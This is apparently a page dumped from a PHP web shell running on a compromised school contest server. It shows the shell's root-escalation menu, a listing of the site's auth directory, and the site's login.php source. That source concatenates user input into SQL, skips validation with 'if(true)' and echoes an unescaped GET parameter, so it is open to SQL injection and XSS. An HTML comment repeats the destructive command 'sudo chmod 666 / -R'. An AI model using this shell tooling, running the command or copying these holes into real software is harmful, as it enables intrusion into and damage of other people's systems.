Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
auth /
Delete
Unzip
Name
Size
Permission
Date
Action
views
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
.conf
6.09
KB
-rw-rw-r--
2024-08-28 00:06
database.php
1.04
KB
-rwxr-xr-x
2024-08-28 00:15
database2.php
477
B
-rwxr-xr-x
2024-08-27 23:20
functions.php
2.34
KB
-rwxr-xr-x
2024-08-27 23:20
login.php
7.16
KB
-rwxr-xr-x
2024-08-28 00:23
logout.php
1020
B
-rwxr-xr-x
2024-08-28 00:19
register.php
3.88
KB
-rwxr-xr-x
2024-08-28 00:19
session_upload.php
2.07
KB
-rwxr-xr-x
2024-08-28 00:19
show_register_form.php
1.36
KB
-rwxr-xr-x
2024-08-28 00:19
show_tmp_register_form.php
296
B
-rwxr-xr-x
2024-08-28 00:19
test3.php
221
B
-rwxr-xr-x
2024-08-27 23:20
tmp_register.php
3.9
KB
-rwxr-xr-x
2024-08-29 23:28
Save
Rename
<?php //ファイルの読み込み require_once "/var/www/html/kougakubu/htdocs/auth/database.php"; require_once "/var/www/html/kougakubu/htdocs/auth/functions.php"; //セッション開始 /* session_start(); */ $pdo=getPdo(); // セッション変数 $_SESSION["loggedin"]を確認。ログイン済だったらウェルカムページへリダイレクト if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){ header("location: /index.php"); exit; } //POSTされてきたデータを格納する変数の定義と初期化 $datas = [ 'name' => '', 'password' => '', 'confirm_password' => '' ]; $login_err = $_GET['err']; //GET通信だった場合はセッション変数にトークンを追加 if($_SERVER['REQUEST_METHOD'] != 'POST'){ setToken(); } //POST通信だった場合はログイン処理を開始 if($_SERVER["REQUEST_METHOD"] == "POST"){ ////CSRF対策 checkToken(); // POSTされてきたデータを変数に格納 foreach($datas as $key => $value) { if($value = filter_input(INPUT_POST, $key, FILTER_DEFAULT)) { $datas[$key] = $value; } } // バリデーション $errors = validation($datas,false); //if(empty($errors)){ if(true){ //ユーザーネームから該当するユーザー情報を取得 $sql = "SELECT id,name,password FROM users WHERE name = '".$datas['name']."';"; $stmt = $pdo->prepare($sql); $stmt->bindValue('name',$datas['name'],PDO::PARAM_INT); $stmt->execute(); //ユーザー情報があれば変数に格納 if($row = $stmt->fetch(PDO::FETCH_ASSOC)){ //パスワードがあっているか確認 if (password_verify($datas['password'],$row['password'])) { //セッションIDをふりなおす session_regenerate_id(true); //セッション変数にログイン情報を格納 $_SESSION["loggedin"] = true; $_SESSION["id"] = $row['id']; $_SESSION["name"] = $row['name']; $_SESSION['s2_url'] = 0; $_SESSION['s2_url_hash']=NULL; //ウェルカムページへリダイレクト header("location:../index.php"); exit(); } else { $login_err = 'ユーザー名またはパスワードが間違ています。'; } }else { $login_err = 'ユーザー名またはパスワードが間違ています。'; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>秋祭 | 工学部</title> <link rel="icon" type="image/png" href="../icon.png"> <link rel="stylesheet" type="text/css" href="../css.css"> </head> <body style="background-color: #f9f9f9;"> <header> <a href="/index.php"><img src="/icon.png" class="gaming" height="35px"></a><a> </a> <a class="a-none-color" href="../index.php">秋祭 | 静岡高校工学部</a> <nav class="nav"> <ul class="menu-group"> <li class="menu-item"><a href="../index.php">ホーム</a></li> <li class="menu-item"><a href="../problems.php">問題</a></li> <li class="menu-item"><a href="../s2/submit.php">提出</a></li> <li class="menu-item"><a href="../judge.php">判定</a></li> <li class="menu-item"><a href="../s2/Codetest/index.php">コードテスト</a></li> <li class="menu-item"><a href="../rank.php">順位</a></li> <li class="menu-item"><a href="../answer.php">解説</a></li> | <li class="menu-item"><a href="./login.php">ログイン</a></li> </ul> </nav> </header><hr> <br><br> <p class="center" style="font-family:serif;font-size: 40px;text-shadow: #e23b44 2px 2px 3px;">卬高杯</p> <!-- おっきなお友達のみんなえ お前らが打ち込んでいる虚無には 何の意味があるの? ねぇ 教えてよ うい ぜんぜぇーんわからないんだ! ―しぐれうい sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R --> <div class="gap"> <h2>ログイン</h2> <a>エラーメッセージが過激です。</a> <hr> <?php if(!empty($login_err)){ echo '<div class="err_box">' . $login_err . '</div>'; } ?> <form action="<?php echo $_SERVER ['SCRIPT_NAME']; ?>" method="post"> <label>ユーザー名</label> <input type="text" style="width:50%;font-family: Menlo, Consolas, 'DejaVu Sans Mono', monospace;font-size: larger;" name="name" <?php echo (!empty(h($errors['name']))) ? 'is-invalid' : ''; ?>" value="<?php echo h($datas['name']); ?>"> <br> <?php if(!empty($errors['name'])){ echo '<div class="err_box">' . $errors['name'] . '</div>'; } ?> <br><label>パスワード</label> <input type="password" style="width:50%;font-family: Menlo, Consolas, 'DejaVu Sans Mono', monospace;font-size: larger;" name="password" <?php echo (!empty(h($errors['password']))) ? 'is-invalid' : ''; ?>" value="<?php echo h($datas['password']); ?>"> <?php if(!empty($errors['password'])){ echo '<div class="err_box">' . $errors['password'] . '</div>'; } ?> <input type="hidden" name="token" value="<?php echo h($_SESSION['token']); ?>"> <br> <input type="submit" style="background: red;color; blue;font-weight: bold;font-size: larger;" value="送信"> <p>アカウント<a href="show_tmp_register_form.php">作成</a></p> <br><br> <p>うまくいかない場合は、工学部のTwitterアカウントからご連絡ください。</p> </form> </div> <footer> <p>© 静岡高校工学部 2023</p> </footer> </body> </html>